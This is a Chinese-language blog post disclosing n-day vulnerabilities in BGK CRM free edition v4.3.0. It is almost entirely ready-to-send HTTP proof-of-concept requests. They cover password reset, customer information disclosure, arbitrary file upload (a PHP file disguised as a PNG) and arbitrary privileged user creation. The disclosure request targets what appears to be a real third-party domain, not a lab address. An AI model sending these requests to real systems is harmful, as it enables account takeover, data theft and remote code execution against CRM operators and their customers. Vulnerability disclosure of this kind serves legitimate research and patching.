帮管客CRM客户管理系统Nday

Al1ex

发布于 2022-09-07 16:57:49

2.3K1

发布于 2022-09-07 16:57:49

文章前言

漏洞大约是4月份左右交的，目前官方应该也已经修复了，总体下来感觉目前的CNVD已经不是曾经那个CNVD了，总体而言这个CRM没怎么考虑到安全问题，挖到后面漏洞交的已经不太想交了，有兴趣的可以试试挖一下其他的，这里仅给出几个点，注入之类的就暂时先不给了

影响范围

帮管客CRM客户管理系统免费版v4.3.0

密码重置

帮管客CRM客户管理系统最新版是一款专业的客户管理系统，帮管客CRM客户管理系统最新版基于先进的CRM营销理念设计，集客户档案、销售记录、业务往来于一身，以凝聚客户关系、提升资源价值为核心，帮管客CRM客户管理系统最新版将潜在客户变为现实客户，从而提升销售量、提高用户的满意度，并增加企业竞争力

漏洞复现

漏洞POC

POST /index.php/user/info HTTP/1.1
Host: 192.168.17.1:81
Content-Length: 708
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.17.1:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDlcSEAuAgwiVgM1e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.17.1:81/index.php/user/info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryDlcSEAuAgwiVgM1e
Content-Disposition: form-data; name="userpwd"

admin@123
------WebKitFormBoundaryDlcSEAuAgwiVgM1e
Content-Disposition: form-data; name="confirmpwd"

admin@123
------WebKitFormBoundaryDlcSEAuAgwiVgM1e
Content-Disposition: form-data; name="mobile"


------WebKitFormBoundaryDlcSEAuAgwiVgM1e
Content-Disposition: form-data; name="email"


------WebKitFormBoundaryDlcSEAuAgwiVgM1e
Content-Disposition: form-data; name="avatar"

/themes/default/images/avatar.png
------WebKitFormBoundaryDlcSEAuAgwiVgM1e
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryDlcSEAuAgwiVgM1e--

信息泄露

POC：

GET /index.php/kehu/ajax_kh_xx?id=2 HTTP/1.1
Host: crm.yhtcm.com
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bgk_session=

任意文件上传

POST /index.php/upload/ajax_upload HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4495.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------134652345533227065863990863046
Content-Length: 253
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------134652345533227065863990863046
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__); ?>
-----------------------------134652345533227065863990863046--

任意用户添加

POST /index.php/user/add HTTP/1.1
Host: 192.168.17.1:81
Content-Length: 154
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.17.1:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.17.1:81/index.php/user/add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bgk_session=
Connection: close

username=liuwei&realname=liuwei&userpwd=123456&confirmpwd=123456&groupid=1&iszhuguan=%E6%98%AF&roleid=0&maxnum=0&maxnum_paichu_cj=%E5%90%A6&mobile=&email=